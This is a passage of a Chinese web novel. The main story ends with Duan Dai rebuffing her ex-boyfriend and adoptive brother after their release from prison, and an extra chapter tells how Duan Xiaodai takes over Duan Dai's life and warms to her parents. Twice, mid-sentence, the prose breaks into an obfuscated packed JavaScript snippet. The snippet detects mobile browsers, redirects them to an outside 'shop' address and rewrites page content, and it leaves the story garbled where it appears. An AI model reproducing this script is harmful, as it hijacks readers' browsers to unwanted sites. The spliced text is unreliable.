“而且你确定那会儿你想让她看到你那副狼狈的样子?”邓辞挑了挑眉,“我反正是不想。” “……” 邓辞从后视镜里看着后座上的两人,最后只是叹了口气。 他比他们提前两年获得自由,但他根本不敢去见段黛,只能悄悄的在网上看她的消息,去书店看她出版的每一本书。 没买,因为舍不得钱。 陈方烨还在神游,段墨则扭头看向外面。他这几年对段黛的想法愈发混乱了,现在出来了也不知道该怎么面对这个算不上妹妹的妹妹。他的脑子转了几个弯,忽然道:“……鹿颖现在怎么样了?” 陈方烨:“你还想着鹿颖啊?这个女人抱着段黛的大腿吃香的喝辣的……” 邓辞干笑两声:“这是你们俩的白月光,又不是什么像段黛那样三天两头上新闻的公众人物,我哪知道。” 陈方烨拿到手机连上网之后,先看到的就是新闻里的段黛获奖发言视频。他沉默了好一会儿,将新办的手机卡插了进去。 然后拨通了段黛的电话。 他原来的号码早就被段黛拉黑了。 他倒是也试着去找一找段黛的住址,或者在出版社蹲守,看看能不能来个“偶遇”。但蝼蚁怎么可能有和人类面对面叫板的机会,现在的他们根本就不可能接触到段黛。 段黛也不会给他们见到自己的机会的。出版社的编辑们都提醒她小心,她也联系了小区物业,让保安把大门看严实,留意一下光头的可疑人士。 就这样,陈方烨试图偶遇的计划失败了。他只能选择老办法——打电话。 段墨也不知道是什么心态,居然跟着陈方烨一起坐着,看着他打电话。 “……喂?” 此时段黛正像过去几年一样坐在电脑前,一边翻着旁边阅读架上的书一边看着稿子。她最近经常接到各种通知电话,所以陌生号码也会接:“喂您好,请问您是哪位?” 陈方烨忐忑道:“段黛,是我。” 段黛根本不记得陈方烨的声音:“您是哪位?” “……我是陈方烨。” 段黛愣了一下,随后露出了一个无语的表情:“哟,能打电话了,看来是出来了啊。” 陈方烨深吸一口气,看了一眼坐在他对面的段墨,抱着一丝几乎为0的希望,开口道:“邓辞和段墨都说,你……你不是原来的段黛……他们说你是从另一个地方来的……他们是胡说八道的是不是?” “哦?你们一起出来的?没想到他们还把这事都告诉你了啊,”段黛转了一下手里的笔,她大概猜到这三个人是以什么样的情况重新见面了,“不是胡说八道,这是真的。” 陈方烨激动了起来:“这怎么可能?我们都是彻头彻尾的唯物主义者,怎么会有这么离谱的事情存在……你是想让我愧疚一辈子是不是?段黛你听好了,以前是我不对,我不该那么对你,我是人渣,我……” 段黛不耐烦地打断了他:“你找我说这些干什么,是希望我说‘没事我早就原谅你了’好让你的良心好受一些?没用的,”她的脸上露出了一个恶意的笑容,“你对不起的那个前女友早就不知道去哪了,现在你在我这忏悔不仅不能自欺欺人,还能收获我的嘲笑。” “笑死了居然有人分手六年了才想起来给前女友道歉哈哈哈哈哈……” 段黛毫不留情地展示着她的刻薄发言,刺的陈方烨眼泪止不住地流淌。 “你……你不能这么对我……” “好啦,既然出来了就重新做人吧,我真的挺忙的,你就别再给我添乱了行吧?” 眼见着段黛要挂电话了,一直在偷听的段墨赶紧把手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176822|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抢了过来:“段黛!我是你哥段墨!” “……” 段墨尴尬了一下,似乎是觉得“你哥”这个说法根本站不住脚,但也只能硬着头皮道:“那个……鹿颖现在怎么样了啊?” “我靠你是真的深情啊深情哥,都五年了还记得她,要不以后就叫你临安第一深情吧。” 段墨忍着尴尬:“所以她……现在在做什么?” 段黛:“鹿颖在坐月子。” “……啊?” 段黛:“上个月她生孩子了,现在在月子中心做产后修复。好了,就算人家没结婚也不可能和有案底的谈,你差不多得了。” 段墨只觉得晴天霹雳,他又哭又笑:“段黛你是在惩罚哥哥是不是,哥哥知道错了……” “……” 不是,他有病吧。 段黛觉得自己不应该把时间浪费在犯罪分子身上,她挂了电话,把这个号码也拖进了黑名单,并感慨自己没泄露新家地址是多么正确的决定。 好在从那之后,陈方烨和段墨也从她的生活中消失了。段黛一向深居简出,虽说应该不至于碰到他们,但多少也还是有些警惕的。她稍微打听了一下,知道段墨已经回老家找父母了,陈方烨则跑去商申市,据说是想要再干点什么。 只不过虽然他履历优秀,但到底是有了案底,再加上他也三十多岁了,自然不可能像之前那样轻轻松松就找到工作。 邓辞在临安呆了两年,后来也不知道怎么想的,和段墨一起回老家了。 段黛松了口气。 只不过后来有一天,段黛在工作时,电脑提示收到了新邮件。她随手点进去,本以为是什么工作消息,没想到点开之后只有三个字。 ——对不起。 没有署名,发件人也不认识。 段黛“啧”了一声,关掉了网页,重新点开文档。 她揉了揉太阳穴,叹息道:“能不能消停会儿,我真的很忙啊。” 【正文完】 94. 亲爱的段小黛 其实没人知道,虐文女主段黛在刚出生的时候并不叫段黛,她叫段小黛。 后来上户口的时候,别人说多个“小”显得俗气,于是才叫段黛了。 不过段小黛还是很喜欢在名字中间加个“小”的,她觉得这样听起来可爱一些。 段小黛睁开眼睛的时候有点懵。她记得自己似乎在雨夜中行走,然后被一只手拖到了黑暗里去……记忆在这里戛然而止,但段小黛能察觉到那之后发生的似乎不是什么很美好的事情。 可是现在,她躺在一张简陋但很整洁的床上。她坐起身来,发现这是一间到处都是书的公寓。 书架上的书多是英文和法文的,让段小黛甚至萌生了一种错觉。 ——这似乎就是她的房间。 手机就放在枕边,不知为何她居然输对了密码。解锁后页面停留在一个名叫《无人爱她》的小说界面上,鬼使神差的,她坐在床上读完了这篇小说。 第一人称的小说仿佛是一个人在絮絮叨叨地讲着自己的故事,段小黛的眼眶渐渐湿润,这篇小说简直就像是她的日记一样。 ——这是她的故事。 读完之后她捂住了脸,泪水无声地流淌了下来。 评论里全是骂的勾史的,质问作者女主都死了这些报应还有什么用。不知是不是被骂怕了,作者又置顶了一个链接,说是写了个番外篇。 段小黛擦干眼泪,伸手又点了进去。 这次是一个走向截然不同的故事。 番外的段黛遇神杀神遇佛斩佛,所向披靡勇往直前。段小黛看着段黛获得的无数奖项,恍惚间想起来自己当初成为翻译时的梦想。 为了那些不值得的人……都被自己忘掉了啊。 她慢慢读着,不由自主地笑了起来。这个段黛看起来似乎更像主角一些,比优柔寡断的自己不知道要强出多少倍。然而当她读到尾声时,忽然愣住了。 ——段黛扭过头来,没有看窗外,没有看天空,没有看正在摇奶茶的大学生,而是看向了……你。 ——此刻正拿着手机,或是抱着平板,也有可能是坐在电脑前,不知是以什么样的状态在这里看小说的,你。 书里的段黛,透过文字和屏幕,看向了……她。 一瞬间段小黛只觉得心脏骤停。她仿佛看到了那个扎着马尾的女孩站在了自己的面前。 她看着她,一字一顿说:“我会一直,做好自己的事情,仅此而已。” “……” 段小黛关上了手机。 她慢慢起身,站在窗边看着外面的车水马龙。 “那我也……做好自己的事情吧。” 段小黛合上双眼,接收了身为段黛的记忆。 段小黛开始习惯身为段黛的生活。她的工作不算多,接的任务也大多无关痛痒,交上的稿件好一点差一点似乎也都无所谓。段小黛很能接受现状,赚的钱虽然不多,但过得还是挺滋润的。 段黛在现实世界的朋友还是挺多的,不过段小黛依照记忆,发现这些朋友也是分等级的。 最亲密的只有几个,是可以交心的朋友。然后次一级的是可以互相置换资源的好朋友,再次一级是点头之交泛泛之交……亲疏有别的朋友关系提醒着段小黛不要再随随便便为其他人赴汤蹈火,让自己的真心付出给最值得的人。 日子久了之后,朋友们忍不住对段小黛笑:“不知道为什么,感觉你比以前活泼了很多呢。” 段小黛笑了笑:“这样吗。” 有一个关系很好的朋友辞了职,拿着一小笔存款跃跃欲试地想要创业,前来征求段小黛的意见。段小黛沉寂许久的商业天赋在此刻苏醒了过来,她思索片刻,道:“加我一个。” 新公司经营的如火如荼,不同于曾经和陈方烨一起创业的时候,这次的朋友不仅踏实可靠还知恩图报,愿意听从段小黛的意见,获得利润后也如实将属于她的那一份分给她。 没有吸血的朋友和家人,段小黛账户上的数字呈现爆炸式增长。她看着数字发呆,朋友在一旁欢呼雀跃:“段黛你真是个天才!咱们终于能从那个破出租屋里搬出来了!” 从出租屋里搬出来? “是啊,你不是总念叨有钱以后一定会买房吗?” 段小黛愣了愣。她一直以来都是不缺钱的,只是一直住着堪堪能维持生存的小房间。 她好像从来都没考虑过买一个属于自己的房子。 想到番外里的段黛给自己买了二百多平的房子。段小黛忍不住笑了起来。 半年之后,段小黛也有了一个小房子。面积只有五十平,但已经足够她自己独居了。她坐在新家里,默默想着把钱花在自己身上好像也很不错。 转眼到了年底,朋友们陆陆续续都回家过年了。段小黛在这里生活了大半年,已经习惯了身为段黛的生活。她思考了一下,决定按照段黛过去的生活轨迹,回老家和父母一起过年。 段黛的老家和段小黛一样。段小黛看着熟悉的机场,竟然真的有种回了家的感觉。听说段小黛要回来,父母都来了机场接人。段小黛推着行李走到到达大厅,就看到陌生又熟悉的老两口在向她挥手。 段小黛受宠若惊。她还是第一次被父母亲自接机呢,这就是独生女的待遇吗? 父亲接过了她手里的行李箱,母亲挽住了她的手臂:“一年了,终于回来了……你这职业也不用坐班,平时也不回来看看……” 不等她说完,父亲拍了拍她。母亲当即住了口:“唉,回来就好,回来就好啊。” 段小黛从前和父母是住在一个城市的,平时见面很方便。段黛却不是这样,每年只有过年的时候才会回老家见父母。 按照段黛的记忆,她似乎是觉得在家呆着很压抑,所以才不愿意回家,只在过年时走个过场。 上了车之后,父亲道:“你妈特意为你做了炸里脊,你以前最爱吃这个了。上午她还被油烫了一下手……” 母亲赶紧制止他:“没那么严重。” “真的吗?”段小黛把头往前探,“妈妈我看看你的手。” 在她的强烈要求下,母亲伸出手来。事实上母亲的双手完好无损,并没有出现什么伤口。段小黛有些疑惑:“烫哪了?” 母亲心脏一紧。 他们这么多年来习惯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177157|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向女儿夸大自己的付出,不自觉间有了一种绑架和要挟的意味。比如段黛其实并没有多喜欢吃炸里脊,自己也没有烫到手。 后来他们才意识到女儿并不喜欢他们的道德绑架。只是江山易改本性难移,这么多年他们都习惯了,一时半会儿也改不过来。 在段小黛关切的询问下,母亲只得随便指了一个地方:“没什么大事,不严重的……” 女儿不会发火,但她会冷漠地看他们一眼,然后说一句“没受伤那就好。” 好像在完成什么固定流程一样。 虽然没有责怪,但他们反而更加心痛了。 段小黛盯着手看了一会儿,却是露出了一个灿烂的笑容:“没受伤真是太好了。谢谢妈妈特意给我做炸里脊!” 母亲有些受宠若惊,父亲更是一愣。 这么有感情的句子……好久没听女儿说过了。 虽然记忆里有家的信息,但这到底是段小黛第一次回“父母”的家,所以她对一切都很好奇。 家里那些置办了不少年货,段小黛翻开一袋子,里面全是牛轧糖。 她有些惊愕:“买这么多?四箱?” 父亲习惯性的开口:“知道你喜欢吃,特意给你买的,为了搬这几箱我特意开车去了……” 声音戛然而止。 父亲捂住了嘴。 段黛不喜欢吃牛轧糖,是父亲自己喜欢吃。 好险,差点就要继续说自己为女儿付出了这么多,她一定要回报自己了。 父亲几乎能想象到,女儿面无表情的说着言不由衷的话的模样:“谢谢爸爸,我会记着爸妈的好的。” “……抱歉。” 不料,段小黛惊讶地瞪大了眼睛:“哎,这么费劲吗?爸爸你真的辛苦了,以后不要让自己那么累啊。” 父亲难以置信地看着她。 “爸爸,你怎么……哭了?” 父亲这才意识到,自己竟然在不知不觉间泪流满面。 女儿变了。 经过这几天的相处,父母明显感觉到了这一点。 他们很爱自己的孩子,所以喜欢将一切行为包装成是对女儿的爱。从前的女儿明显看穿了他们的把戏,但出于礼貌和孝悌选择配合他们的演出。他们也能感觉到女儿的排斥,只是这么多年都习惯了,很难改变过来。 但现在的段小黛真的被他们的话术感动到了。甚至有一次他们“失误”点评了女儿的穿搭,本来以为会看到不耐烦的表情,没想到段小黛落下了眼泪。 “原来爸妈这么关心我……” 好像一个从来没得到过爱的孩子。 那一瞬间父母忽然很愧疚。 他们其实……没有他们嘴里说的那么爱她。可现在,这种表演出来的爱却让段小黛如此感动。 他们隐约感觉到有些不对,却又对女儿的转变感到欣喜。 也许是一种谎言不再被戳穿的松了口气,也许是多年来的心结终于被解开了…… 总之,他们很高兴。 最终,他们一起抱住了段小黛。 “爸妈很爱你,一直都很爱你。”